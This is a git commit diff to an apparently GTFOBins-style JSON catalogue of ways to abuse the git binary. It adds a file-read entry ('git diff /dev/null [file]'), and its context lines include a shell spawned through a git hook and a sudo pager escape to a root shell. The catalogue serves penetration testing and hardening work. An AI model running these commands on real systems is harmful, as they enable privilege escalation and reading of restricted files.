add file read to git

master
Mr. Robot 4 years ago committed by GitHub
parent 533f66f08a
commit b0cf599d9e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -13,6 +13,12 @@
"code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\ngit -C \"$TF\" commit --allow-empty -m x\n"
}
],
"file-read": [
{
"description": "The read file content is displayed in `diff` style output format.",
"code": "git diff /dev/null [file]\n"
}
],
"sudo": [
{
"code": "sudo PAGER='sh -c \"exec sh 0<&1\"' git -p help"
@ -36,4 +42,4 @@
}
]
}
}
}

Loading…
Cancel
Save